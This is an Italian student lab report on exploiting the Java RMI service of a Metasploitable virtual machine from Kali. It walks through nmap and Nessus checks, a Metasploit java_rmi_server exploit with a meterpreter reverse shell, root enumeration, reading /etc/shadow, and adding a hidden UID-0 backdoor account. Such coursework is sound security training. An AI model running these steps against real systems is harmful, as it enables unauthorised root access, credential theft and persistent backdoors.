

## Report Progetto UNIT 2 WEEK 7

L'esercizio richiede di settare la macchina attaccante (KALI) su indirizzo 192.168.99.111 e la macchina vittima (Metasploitable) su indirizzo 192.168.99.112.

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.99.111 netmask 255.255.255.0 broadcast 192.168.99.255
    inet6 fe80::a00:27ff:fec7:e136 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:c7:e1:36 txqueuelen 1000 (Ethernet)
    RX packets 8 bytes 932 (932.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 17 bytes 2474 (2.4 KiB)

Metasploit 2 (Snapshot 1) [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3c:17:99
    inet  addr:192.168.99.112 Bcast:192.168.99.255 Mask:255.255.255.0
    inet6  addr: fe80::a00:27ff:fe3c:1799/64 Scope:Link
```

La macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – [Java RMI](#).

Prima di effettuare l'attacco raccolgo evidenze sull'effettiva esistenza della vulnerabilità.

Con `nmap -p 1099 -sV -T5` eseguo una scansione della porta 1099 con rilevamento dei servizi in esecuzione sulla stessa. Con `-T5` imposto il tempo di scansione su un valore più aggressivo, accelerando la scansione.

```
(kali@kali)-[~]
$ nmap -p 1099 -sV -T5 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 10:54 EDT
Nmap scan report for 192.168.99.112
Host is up (0.0029s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
```

Recuperati i servizi in esecuzione vado a fare una seconda scan includendo lo script [rmi-vuln-classloader](#). Questo verifica se Java rmiregistry consente il caricamento delle classi. La configurazione predefinita di rmiregistry consente di caricare classi da URL remoti, il che può portare all'esecuzione di codice remoto.

(<https://nmap.org/nsedoc/scripts/rmi-vuln-classloader.html>)

```
(kali@kali)-[~]
$ nmap --script=rmi-vuln-classloader -p 1099 192.168.99.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 05:02 EDT
Nmap scan report for 192.168.99.112
Host is up (0.0034s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry
| rmi-vuln-classloader:
|   VULNERABLE:
|   RMI registry default configuration remote code execution vulnerability
|   State: VULNERABLE
|   Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
|
|   References:
|   _ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds
```

Su Nessus la vulnerabilità della porta 1099 viene rilevata come info dal plugin 22227. Viene descritta come registro RMI in ascolto sull'host remoto. L'host remoto esegue un registro RMI, che funge da servizio di denominazione bootstrap per la registrazione e il recupero di oggetti remoti con nomi semplici nel sistema Java Remote Method Invocation (RMI).

Metasploitable / Plugin #22227

◀ Back to Vulnerabilities

Hosts 1 Vulnerabilities 2 Remediations 4 Notes 15 History 1

INFO RMI Registry Detection

**Description**

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

**See Also**

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>  
<http://www.nessus.org/u?b6fd7659>

Passo ad un test manuale della vulnerabilità con **msfconsole**.

La avvio e cerco java\_rmi tramite **search**. Successivamente controllo che tipo di modulo utilizzare.

```
msf6 > search java_rmi
```

Matching Modules					
#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

**auxiliary/gather/java\_rmi\_registry**: Questo modulo consente di eseguire un'enumerazione delle interfacce del registro Java RMI. Fornisce informazioni sulle interfacce esposte dai servizi Java RMI presenti sulla macchina vittima.

**exploit/multi/misc/java\_rmi\_server**: Questo modulo è un exploit che sfrutta una configurazione predefinita insicura del server Java RMI. Consente l'esecuzione di codice Java remoto sulla macchina vittima.

**auxiliary/scanner/misc/java\_rmi\_server**: Questo modulo è uno scanner progettato per identificare server Java RMI con configurazioni di endpoint insicure. Può essere utilizzato per individuare potenziali vulnerabilità nelle implementazioni dei server RMI.

**exploit/multi/browser/java\_rmi\_connection\_impl**: Questo modulo è un exploit che sfrutta una vulnerabilità nella classe Java RMIConnectionImpl. La vulnerabilità consente la deserializzazione non sicura, che può essere utilizzata per l'escalation dei privilegi sulla macchina vittima. Tuttavia, questo modulo è specifico per il contesto del browser.

Il modulo **exploit/multi/misc/java\_rmi\_server** è il più adatto per ottenere l'accesso remoto alla macchina vittima in questo scenario specifico. È progettato per sfruttare una vulnerabilità nella configurazione predefinita insicura del server Java RMI. Ciò significa che il modulo sfrutta una falla nota e documentata nel software, che potrebbe essere più affidabile e prevedibile rispetto ad altre tecniche o moduli. L'exploit consente l'esecuzione di codice Java remoto sulla macchina vittima. Questo offre un ampio potenziale di accesso e controllo sulla macchina remota, consentendo agli attaccanti di eseguire comandi, accedere ai dati o effettuare altre azioni maliziose. Essendo un exploit che offre l'esecuzione di codice remoto, può essere utile per valutare l'impatto della vulnerabilità sulla macchina vittima e determinare le potenziali conseguenze di un attacco riuscito. Questo può aiutare a evidenziare i rischi e a motivare l'implementazione di misure di sicurezza appropriate per mitigare la vulnerabilità.

Imposto l'exploit con **use** e con **show options** visualizzo le opzioni dell'exploit appena scelto.

Il payload è di default **java/meterpreter/reverse\_tcp**, questo crea una connessione crittografata tra l'attaccante e la macchina bersaglio, consentendo all'attaccante di eseguire comandi sul sistema target, raccogliere informazioni, eseguire azioni dannose o compromettere ulteriormente il sistema.

L'obiettivo principale di questo payload è consentire all'attaccante di ottenere un accesso remoto completo al sistema target e sfruttare le vulnerabilità presenti per scopi malintenzionati come il furto di dati, il controllo del sistema, l'esecuzione di attacchi di tipo "man-in-the-middle" e altro ancora.

Module options (exploit/multi/misc/java\_rmi\_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/">https://docs.metasploit.com/docs/using-metasploit/</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.99.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Generic (Java Payload)

Imposto l'**RHOSTS** sull'ip di Metasploitable e l'**HTTPDELAY** a 20 come suggerito dall'esercizio.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.99.112
RHOSTS => 192.168.99.112
msf6 exploit(multi/misc/java_rmi_server) > set HTTPDELAY 20
HTTPDELAY => 20
```

Successivamente faccio partire con **run**.

```
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.99.111:4444
[*] 192.168.99.112:1099 - Using URL: http://192.168.99.111:8080/gLembzUqpbm
[*] 192.168.99.112:1099 - Server started.
[*] 192.168.99.112:1099 - Sending RMI Header ...
[*] 192.168.99.112:1099 - Sending RMI Call ...
[*] 192.168.99.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.99.112
[*] Meterpreter session 2 opened (192.168.99.111:4444 → 192.168.99.112:33338) at 2023-06-16 05:09:54 -0400

meterpreter > █
```

Tramite meterpreter vado ad eseguire **ifconfig** per recuperare informazioni sull'interfaccia di rete corrente, inclusi indirizzo IP, subnet mask, gateway predefinito e altre informazioni relative alla configurazione IP.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.99.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe3c:1799
IPv6 Netmask : ::
```

Con **route** visualizzo la tabella di routing del sistema target, che elenca le rotte di rete attualmente configurate.

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0
192.168.99.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1          ::           ::
fe80::a00:27ff:fe3c:1799 ::           ::
```

Con **getuid** vedo il nome utente e l'ID dell'utente associati alla sessione attiva.

Con **sysinfo** riesco a visualizzare una serie di informazioni di sistema sul sistema bersaglio.

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
```

Con **shell** ottengo una shell interattiva all'interno del sistema bersaglio.

Una volta all'interno della shell del sistema operativo ospite, è possibile eseguire comandi del sistema operativo come se si fosse connessi direttamente alla macchina bersaglio tramite un terminale.

```
meterpreter > shell
Process 1 created.
Channel 1 created.
pwd
/
```

Una volta fatto l'accesso alla shell eseguo più comandi:

**ifconfig**: visualizza le informazioni sull'interfaccia di rete, inclusi gli indirizzi IP, l'indirizzo MAC e altri parametri.

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:3c:17:99
          inet addr:192.168.99.112  Bcast:192.168.99.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe3c:1799/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:17082 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7403 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2127411 (2.0 MB)  TX bytes:1376692 (1.3 MB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:3008 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3008 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1289413 (1.2 MB)  TX bytes:1289413 (1.2 MB)
```

**ip addr show**: mostra informazioni dettagliate sull'interfaccia di rete, inclusi gli indirizzi IP, le maschere di rete e altri dettagli.

```
ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:3c:17:99 brd ff:ff:ff:ff:ff:ff
    inet 192.168.99.112/24 brd 192.168.99.255 scope global eth0
    inet6 fe80::a00:27ff:fe3c:1799/64 scope link
        valid_lft forever preferred_lft forever
```

**route -n** e **ip route show**: visualizzano la tabella di routing del sistema.

```
ip route show
192.168.99.0/24 dev eth0  proto kernel  scope link    src 192.168.99.112
default via 192.168.99.1 dev eth0  metric 100
route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.99.0    0.0.0.0        255.255.255.0   U        0      0      0 eth0
0.0.0.0         192.168.99.1   0.0.0.0         UG       100    0      0 eth0
```

**route print -v**: si ottiene una visualizzazione più dettagliata della tabella di routing. Questo include informazioni aggiuntive come le metriche delle rotte, le interfacce di rete associate, i tempi di scadenza delle rotte e altre informazioni di diagnostica.

```
route print -V
net-tools 1.60
route 1.98 (2001-04-15)
+NEW_ADDRT +RTF_IRTT +RTF_REJECT +I18N
AF: (inet) +UNIX +INET +INET6 +IPX +AX25 +NETROM +X25 +ATALK +ECONET +ROSE
HW: +ETHER +ARC +SLIP +PPP +TUNNEL +TR +AX25 +NETROM +X25 +FR +ROSE +ASH +SIT +FDDI +HIPPI +HDLC/LAPB +EUI64
```

**arp -a**: visualizza la cache ARP del sistema, che mappa gli indirizzi IP agli indirizzi MAC corrispondenti.

L'utilizzo della cache ARP può essere utile per comprendere quali dispositivi sono presenti nella rete locale e stabilire le corrispondenze tra gli indirizzi IP e gli indirizzi MAC. Queste informazioni possono essere utili per attività come il monitoraggio del traffico di rete, la risoluzione dei problemi di connettività o l'identificazione di dispositivi nella rete che potrebbero essere obiettivi di interesse per le tue attività di hacking o test di penetrazione.

```
arp -a
? (192.168.99.111) at 08:00:27:C7:E1:36 [ether] on eth0
? (192.168.99.1) at <incomplete> on eth0
```

**id**: restituisce informazioni sull'identità dell'utente corrente, inclusi l'ID utente (UID), l'ID del gruppo primario (GID) e gli ID dei gruppi secondari associati all'utente.

**whoami**: restituisce il nome dell'utente corrente.

**hostname**: restituisce il nome dell'host o del sistema.

**uname -a**: restituisce informazioni sul kernel del sistema operativo, inclusa la versione del kernel, il nome del sistema operativo, l'architettura del processore e altre informazioni correlate.

```
id
uid=0(root) gid=0(root)
whoami
root
hostname
metasploitable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```

In seguito, creo un nuovo utente con **useradd -ou 0 -g 0 -G 0**.

il comando crea un nuovo utente chiamato "silvia" con privilegi di root, in quanto l'UID e il GID dell'utente sono impostati su 0. Questo significa che l'utente "silvia" avrà gli stessi privilegi di root nel sistema.

Successivamente con **passwd** silvia vado ad impostare la password per l'utente appena creato.

```
useradd -ou 0 -g 0 -G 0 silvia
passwd silvia
Enter new UNIX password: silvia
Retype new UNIX password: silvia
passwd: password updated successfully
```

Con **cat /etc/passwd** visualizzo le informazioni sugli utenti presenti nel sistema. Ogni riga nel file rappresenta un utente e contiene dettagli come l'username, l'UID, il GID, il nome completo, il percorso della directory home e il percorso della shell predefinita per l'utente.

```
silvia:x:0:0::/home/silvia:/bin/sh
```

Cat **/etc/shadow** visualizzo le password criptate degli utenti nel sistema.

```
silvia:$1$zWL.A1dT$8.DFIz6R.CWN/sDXGdL3b1:19524:0:99999:7:::
```

Mi sposto su Metasploitable e faccio il login con l'account appena creato, verifico che sia root con [whoami](#).

```
metasploitable login: silvia
Password:
Last login: Fri Jun 16 02:54:53 EDT 2023 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
root@metasploitable:~# whoami
root
root@metasploitable:~#
```